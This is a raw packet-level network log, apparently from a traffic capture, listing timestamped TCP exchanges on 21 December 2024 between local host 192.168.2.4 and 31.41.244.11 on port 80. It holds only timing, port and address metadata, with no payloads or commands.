Dec 21, 2024 18:16:47.113953114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.114032030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.114083052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.115104914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.115154982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.115261078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.115310907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.116379976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.116415977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.116430998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.116496086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.117628098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.117665052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.117717028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.118694067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.118825912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.118910074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.118963003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.120003939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.120071888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.120151997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.120208025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.120779037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.120868921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.120910883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.120944023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.121963978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.122895956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.122962952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.124680996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.124859095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.124871969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.124937057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.125020981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.125056982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.125086069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.125112057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.125967026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.126157045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.126241922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.127244949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.127346992 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.127418041 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.127485037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.128317118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.128392935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.128607988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.128671885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.129561901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.129703045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.129731894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.129791975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.130698919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.130750895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.130883932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.130934954 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.131963015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.132019997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.132103920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.132158995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.133213043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.133248091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.133266926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.133300066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.134299040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.134366989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.134449005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.134500980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.135571003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.135603905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.135673046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.135673046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.136862040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.136897087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.136953115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.137795925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.137872934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.138109922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.138176918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.139209986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.139246941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.139266014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.139296055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.140193939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.140377045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.140463114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.140585899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.141565084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.141644955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.141714096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.141766071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.142669916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.142847061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.143294096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.143887997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.143954039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.144040108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.144303083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.145154953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.145190001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.145210028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.145241022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.146219015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.146275043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.146363020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.146691084 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.147427082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.147490978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.147576094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.147708893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.148691893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.148751974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.148837090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.148889065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.149981022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.150099993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.150171995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.150969982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.151098013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.151154995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.151248932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.151294947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.152307987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.152365923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.152447939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.152493000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.153587103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.153621912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.153676987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.154652119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.154702902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.154779911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.155276060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.156120062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.156155109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.156192064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.156218052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.157035112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.157095909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.157171965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.157219887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.158200979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.158236980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.158286095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.158929110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.159065962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.159121990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.161711931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.162260056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.162326097 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.162576914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.162616014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.162626028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.162663937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.163196087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.163239002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.163378954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.163424969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.164165020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.164212942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.164303064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.164344072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.165503025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.165564060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.165641069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.165683985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.166642904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.166678905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.166692972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.166728020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.167768002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.167938948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.167987108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.169028044 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.169316053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.169317961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.170270920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.170305014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.170325041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.170351982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.171662092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.171698093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.171752930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.172610998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.173376083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.302663088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.302716970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.302755117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.302879095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.302894115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.302894115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.302932024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.303461075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.303498030 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.303695917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.304706097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.305710077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.305965900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.306011915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.307195902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.307373047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.307423115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.307825089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.307861090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.307867050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.307908058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.308934927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.308969975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.308983088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.309072971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.310061932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.310096979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.310147047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.311131001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.311199903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.311419964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.311470985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.312349081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.312397003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.312735081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.312781096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.313720942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.313755989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.313807011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.314810991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.314956903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.314994097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.315963984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.316025972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.316088915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.316147089 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.317147970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.317199945 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.317328930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.318473101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.318506002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.318516016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.319624901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.319674969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.319752932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.319798946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.320802927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.320837021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.320897102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.321870089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.322196007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.322242022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.323175907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.323223114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.323303938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.324157953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.324379921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.324424982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.324567080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.324611902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.325596094 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.325756073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.325808048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.326653957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.326695919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.326801062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.327996016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.328044891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.328119993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.328548908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.329276085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.329313040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.329361916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.330324888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.330380917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.330454111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.330549955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.331615925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.331773043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.331830025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.332777023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.332813025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.332827091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.332847118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.333950043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.334014893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.334080935 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.334151983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.335118055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.335166931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.335244894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.335289955 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.336426020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.336460114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.336508989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.337548018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.337747097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.337798119 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.338372946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.338407040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.338422060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.338453054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.339087963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.339163065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.339230061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.339288950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.340260029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.340303898 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.340367079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.341363907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.341479063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.341527939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.341589928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.341633081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.342667103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.342725039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.342782974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.342896938 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.343859911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.344012022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.344062090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.345076084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.345123053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.345238924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.345819950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.346328974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.346373081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.346431017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.347107887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.347465038 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.347516060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.347574949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.347615004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.348675966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.348710060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.348723888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.348753929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.349844933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.349970102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.350016117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.351062059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.351115942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.351182938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:47.351236105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:47.352253914 CET	80	49866	31.41.244.11	192.168.2.4
